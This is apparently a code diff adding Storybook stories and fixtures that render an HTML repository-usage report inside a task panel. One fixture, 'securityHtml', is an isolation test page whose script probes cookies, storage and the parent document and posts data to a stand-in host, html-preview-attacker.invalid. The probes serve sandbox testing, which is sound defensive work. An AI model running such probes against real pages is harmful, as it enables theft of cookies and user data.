const issueId = "html-workspace-story";
|
||||
const state = { path: "reports/repository-usage.html", workspace: "project" as const, workspaceId: null, projectId: null, line: null, column: null };
|
||||
|
||||
function Workspace({ sheet = false }: { sheet?: boolean }) {
|
||||
const [client] = useState(() => {
|
||||
const cache = new QueryClient({ defaultOptions: { queries: { staleTime: Infinity, retry: false } } });
|
||||
const resource: ResolvedWorkspaceResource = {
|
||||
kind: "file", provider: "local_fs", title: "repository-usage.html", displayPath: state.path,
|
||||
workspaceLabel: "Research workspace", workspaceKind: "project_workspace", workspaceId: "research-workspace",
|
||||
contentType: "text/html", byteSize: reportHtml.length, previewKind: "text", denialReason: null,
|
||||
capabilities: { preview: true, download: true, listChildren: false },
|
||||
};
|
||||
cache.setQueryData(queryKeys.issues.fileResource(issueId, state), resource);
|
||||
cache.setQueryData(queryKeys.issues.fileResourceContent(issueId, state), { resource, content: { encoding: "utf8", data: reportHtml } });
|
||||
return cache;
|
||||
});
|
||||
return <QueryClientProvider client={client}><FileViewerProvider issueId={issueId}>
|
||||
<main className="min-h-screen bg-background p-4 text-foreground">
|
||||
{sheet ? <FileViewerSheet issueId={issueId} state={state} open /> : <section className="mx-auto h-(--sz-640px) max-w-3xl overflow-hidden rounded-lg border border-border">
|
||||
<TaskWorkspaceFilePanel issueId={issueId} payload={{ kind: "workspace-file", ...state }} />
|
||||
</section>}
|
||||
</main>
|
||||
</FileViewerProvider></QueryClientProvider>;
|
||||
}
|
||||
const meta = { title: "HTML artifacts/02 Workspace", component: Workspace, render: (args, context) => <Workspace key={context.id} {...args} />, parameters: { layout: "fullscreen", docs: { story: { inline: false } } } } satisfies Meta<typeof Workspace>;
|
||||
export default meta;
|
||||
type Story = StoryObj<typeof meta>;
|
||||
export const TaskPanel: Story = {};
|
||||
export const FileSheet: Story = { args: { sheet: true } };
|
||||
export const Mobile: Story = { globals: { viewport: { value: "mobile", isRotated: false } } };
|
||||
@@ -0,0 +1,84 @@
|
||||
import { useState } from "react";
|
||||
import type { Meta, StoryObj } from "@storybook/react-vite";
|
||||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||||
import type { IssueAttachment } from "@paperclipai/shared";
|
||||
import { Routes, Route } from "@/lib/router";
|
||||
import { Layout } from "@/components/Layout";
|
||||
import { TaskChatBubble } from "@/components/task-chat/TaskChatBubble";
|
||||
import { TaskSidePanel } from "@/components/task-side-panel/TaskSidePanel";
|
||||
import { IssueArtifactFile } from "@/components/artifacts/IssueArtifactCard";
|
||||
import { TextAttachmentContext } from "@/context/TextAttachmentContext";
|
||||
import { PluginLauncherProvider } from "@/plugins/launchers";
|
||||
import { queryKeys } from "@/lib/queryKeys";
|
||||
import { createIssue, storybookAgents } from "../../fixtures/paperclipData";
|
||||
import { reportHtml } from "./fixtures";
|
||||
import reportDownload from "./report.html?url";
|
||||
|
||||
const issue = createIssue({ id: "html-artifact-journey", identifier: "DEMO-101", title: "Find popular repositories that use Paperclip a lot", status: "done", completedAt: new Date("2026-10-07T12:54:00Z"), currentExecutionWorkspace: null, executionWorkspaceId: null });
|
||||
const attachment: IssueAttachment = {
|
||||
id: "html-usage-report", companyId: issue.companyId, issueId: issue.id, issueCommentId: null,
|
||||
assetId: "html-usage-asset", provider: "local_disk", sha256: "storybook-fixture",
|
||||
createdByAgentId: "agent-codex", createdByUserId: null, originatingRunId: null,
|
||||
originalFilename: "repository-usage.html", objectKey: "repository-usage.html", contentType: "text/html",
|
||||
byteSize: reportHtml.length, contentPath: "/api/attachments/html-usage-report/content",
|
||||
downloadPath: reportDownload,
|
||||
createdAt: new Date("2026-10-07T12:54:00Z"),
|
||||
updatedAt: new Date("2026-10-07T12:54:00Z"),
|
||||
};
|
||||
|
||||
function TaskJourney({ openInitially = false }: { openInitially?: boolean }) {
|
||||
const [open, setOpen] = useState<{ id: string; title: string; requestId: number } | null>(() => openInitially ? { id: attachment.id, title: attachment.originalFilename!, requestId: 1 } : null);
|
||||
const [client] = useState(() => {
|
||||
const cache = new QueryClient({ defaultOptions: { queries: { staleTime: Infinity, retry: false } } });
|
||||
cache.setQueryData(queryKeys.issues.attachments(issue.id), [attachment]);
|
||||
cache.setQueryData(queryKeys.issues.workProducts(issue.id), []);
|
||||
cache.setQueryData([...queryKeys.issues.documents(issue.id), "list"], []);
|
||||
cache.setQueryData([...queryKeys.issues.documents(issue.id), "plan"], null);
|
||||
cache.setQueryData(queryKeys.issues.runs(issue.id), []);
|
||||
cache.setQueryData(queryKeys.agents.list(issue.companyId), storybookAgents);
|
||||
cache.setQueryData(["task-text-attachment", issue.id, attachment.id], reportHtml);
|
||||
window.localStorage.removeItem(`paperclip:task-side-panel:v1:storybook-html:${issue.companyId}`);
|
||||
return cache;
|
||||
});
|
||||
return <QueryClientProvider client={client}>
|
||||
<TextAttachmentContext.Provider value={(id, title) => setOpen({ id, title, requestId: Date.now() })}>
|
||||
<div className="flex h-full min-h-0 flex-col gap-6 p-4 lg:flex-row">
|
||||
<section className="min-w-0 flex-1 space-y-6 overflow-auto">
|
||||
<h1 className="text-xl font-semibold">{issue.title}</h1>
|
||||
<TaskChatBubble item={{ id: "request", kind: "message", author: "human", text: "Give me a report that combines repository popularity and repeated Paperclip usage." }} />
|
||||
<TaskChatBubble item={{ id: "response", kind: "message", author: "agent", text: "Hyperswitch and Storybook lead the combined ranking. Open the report to explore the weighting and filter the results." }} />
|
||||
<IssueArtifactFile id={attachment.id} attachmentId={attachment.id} title="Interactive repository usage report" summary="" filename={attachment.originalFilename!} contentType={attachment.contentType} contentPath={attachment.contentPath} downloadPath={attachment.downloadPath!} byteSize={attachment.byteSize} author="CodexRunner" updatedAt="7:54 AM" />
|
||||
</section>
|
||||
<section className="h-(--sz-640px) min-w-0 flex-1 overflow-hidden rounded-lg border border-border" aria-label="Task side panel">
|
||||
<TaskSidePanel issue={issue} accountScope="storybook-html" inline onUpdate={() => {}} fileTabsEnabled={false} openAttachment={open} />
|
||||
</section>
|
||||
</div>
|
||||
</TextAttachmentContext.Provider>
|
||||
</QueryClientProvider>;
|
||||
}
|
||||
|
||||
function Journey(props: { openInitially?: boolean }) {
|
||||
return <PluginLauncherProvider><Routes><Route path="/:companyPrefix" element={<Layout />}>
|
||||
<Route path="issues/:issueId" element={<TaskJourney {...props} />} />
|
||||
</Route></Routes></PluginLauncherProvider>;
|
||||
}
|
||||
const meta = {
|
||||
title: "HTML artifacts/03 Task journey", component: Journey,
|
||||
parameters: { layout: "fullscreen", initialEntries: ["/PAP/issues/html-artifact-journey"], docs: { description: { component: "Open the HTML artifact from the task's report card or Artifacts tab, filter the report, then switch to Raw beside Download. Uses the production app shell, artifact card, task panel and HTML renderer with simulated report data." }, story: { inline: false } } },
|
||||
beforeEach: () => {
|
||||
const originalFetch = window.fetch;
|
||||
const fixtureFetch: typeof window.fetch = async (input, init) => {
|
||||
const url = new URL(typeof input === "string" ? input : input instanceof URL ? input.href : input.url, window.location.origin);
|
||||
if (url.pathname === `/api/issues/${issue.id}/work-products`) return Response.json([]);
|
||||
return originalFetch(input, init);
|
||||
};
|
||||
window.fetch = fixtureFetch;
|
||||
return () => { if (window.fetch === fixtureFetch) window.fetch = originalFetch; };
|
||||
},
|
||||
render: (args, context) => <Journey key={context.id} {...args} />,
|
||||
} satisfies Meta<typeof Journey>;
|
||||
export default meta;
|
||||
type Story = StoryObj<typeof meta>;
|
||||
export const OpenFromTask: Story = {};
|
||||
export const ReportOpen: Story = { args: { openInitially: true } };
|
||||
export const Mobile: Story = { args: { openInitially: true }, globals: { viewport: { value: "mobile", isRotated: false } } };
|
||||
@@ -0,0 +1,27 @@
|
||||
import reportHtml from "./report.html?raw";
|
||||
export { reportHtml };
|
||||
|
||||
export const securityHtml = `<!doctype html><html><head>
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src * 'unsafe-inline'">
|
||||
<base href="https://html-preview-attacker.invalid/">
|
||||
<link rel="stylesheet" href="https://html-preview-attacker.invalid/style.css">
|
||||
<style>body{font:15px/1.7 system-ui;padding:24px;color:#19332b;background:#f6f8f4}li{margin:10px 0}</style>
|
||||
</head><body><h1>HTML isolation checks</h1><ul id="results"></ul>
|
||||
<img src="https://html-preview-attacker.invalid/image" alt="Remote image is blocked">
|
||||
<iframe src="https://html-preview-attacker.invalid/frame" title="Blocked child frame"></iframe>
|
||||
<form action="https://html-preview-attacker.invalid/form" method="post"><input name="probe" value="test"></form>
|
||||
<script src="https://html-preview-attacker.invalid/script.js"></script>
|
||||
<script>
|
||||
function result(name,value){const li=document.createElement('li');li.textContent=name+': '+value;document.querySelector('#results').append(li)}
|
||||
function denied(name,action){try{action();result(name,'UNEXPECTED ACCESS')}catch{result(name,'blocked')}}
|
||||
denied('Cookies',()=>document.cookie);
|
||||
denied('Parent document',()=>parent.document.body);
|
||||
denied('Parent cookies',()=>parent.document.cookie);
|
||||
denied('Local storage',()=>localStorage.getItem('html-preview-secret'));
|
||||
denied('Session storage',()=>sessionStorage.getItem('html-preview-secret'));
|
||||
denied('Top navigation',()=>top.location.href='https://html-preview-attacker.invalid/top');
|
||||
result('Popups',window.open('https://html-preview-attacker.invalid/popup')===null?'blocked':'UNEXPECTED ACCESS');
|
||||
document.querySelector('form').submit();
|
||||
fetch('/api/html-preview-probe',{credentials:'include'}).then(()=>result('API request','UNEXPECTED ACCESS')).catch(()=>result('API request','blocked'));
|
||||
fetch('https://html-preview-attacker.invalid/collect',{method:'POST',body:'probe'}).then(()=>result('Remote request','UNEXPECTED ACCESS')).catch(()=>result('Remote request','blocked'));
|
||||
</script></body></html>`;
|
||||
@@ -0,0 +1,29 @@
|
||||
<!doctype html>
|
||||
<html lang="en"><head><meta name="viewport" content="width=device-width,initial-scale=1">
|
||||
<title>Popular repositories with repeated Paperclip credit</title>
|
||||
<style>
|
||||
body{margin:0;padding:28px;color:#19332b;background:#f6f8f4;font:15px/1.6 system-ui,sans-serif}
|
||||
h1{font-size:28px;line-height:1.2;margin:8px 0 16px}p{color:#526459}small{display:block;color:#526459}
|
||||
.eyebrow{font-size:12px;text-transform:uppercase;letter-spacing:.08em;color:#527366}
|
||||
.controls{display:flex;flex-wrap:wrap;gap:20px;margin:24px 0;padding:18px;background:white;border:1px solid #dce4da;border-radius:12px}
|
||||
label{display:grid;gap:6px;flex:1;min-width:180px}input{accent-color:#28765d;font:inherit;padding:6px;min-width:0}
|
||||
table{border-collapse:collapse;width:100%;font-size:14px}th{text-align:left;color:#526459;font-weight:500}td,th{padding:12px 8px;border-bottom:1px solid #dce4da}
|
||||
.bar{height:6px;background:#28765d;border-radius:3px;margin-top:5px}.scroll{overflow:auto}
|
||||
@media(max-width:480px){body{padding:18px}h1{font-size:24px}}
|
||||
</style></head><body>
|
||||
<div class="eyebrow">Research report · October 7, 2026</div>
|
||||
<h1>Popular repositories that use Paperclip a lot</h1>
|
||||
<p>Compare repository popularity with repeated, attributed usage. Adjust the weighting to explore the ranking.</p>
|
||||
<div class="controls">
|
||||
<label>Popularity weight <input id="weight" type="range" min="0" max="100" value="50"><small id="weights"></small></label>
|
||||
<label>Find a repository <input id="query" type="search" placeholder="Search repositories"></label>
|
||||
</div>
|
||||
<p id="total" aria-live="polite"></p>
|
||||
<div class="scroll"><table><thead><tr><th>Rank</th><th>Repository</th><th>Stars</th><th>Credits</th><th>Score</th></tr></thead><tbody></tbody></table></div>
|
||||
<small>Illustrative Storybook snapshot. Credits measure attribution, not unique users.</small>
|
||||
<script>
|
||||
const records=[['juspay/hyperswitch',46434,117],['storybookjs/storybook',94832,56],['lacymorrow/crossover',1251,44],['smart-mcp-proxy/mcpproxy-go',387,57],['octasoft-ltd/wsl-ui',411,40],['s4solutionsllc/Nexis',87,131]];
|
||||
const weight=document.querySelector('#weight'),query=document.querySelector('#query');
|
||||
function render(){const w=Number(weight.value)/100;const rows=records.map(([name,stars,credits])=>({name,stars,credits,score:Math.pow(Math.log1p(stars),w)*Math.pow(Math.log1p(credits),1-w)})).sort((a,b)=>b.score-a.score);const max=rows[0].score;document.querySelector('#weights').textContent=weight.value+'% popularity · '+(100-weight.value)+'% attributed usage';const visible=rows.filter(r=>r.name.toLowerCase().includes(query.value.toLowerCase()));document.querySelector('#total').textContent=visible.length+' qualifying repositories';const body=document.querySelector('tbody');body.replaceChildren();visible.forEach(r=>{const tr=document.createElement('tr');[rows.indexOf(r)+1,r.name,r.stars.toLocaleString(),r.credits,(100*r.score/max).toFixed(1)].forEach((value,i)=>{const td=document.createElement('td');td.textContent=value;if(i===4){const bar=document.createElement('div');bar.className='bar';bar.style.width=(100*r.score/max)+'%';td.append(bar)}tr.append(td)});body.append(tr)})}
|
||||
weight.addEventListener('input',render);query.addEventListener('input',render);render();
|
||||
</script></body></html>
|
||||
Reference in new issue
Block a user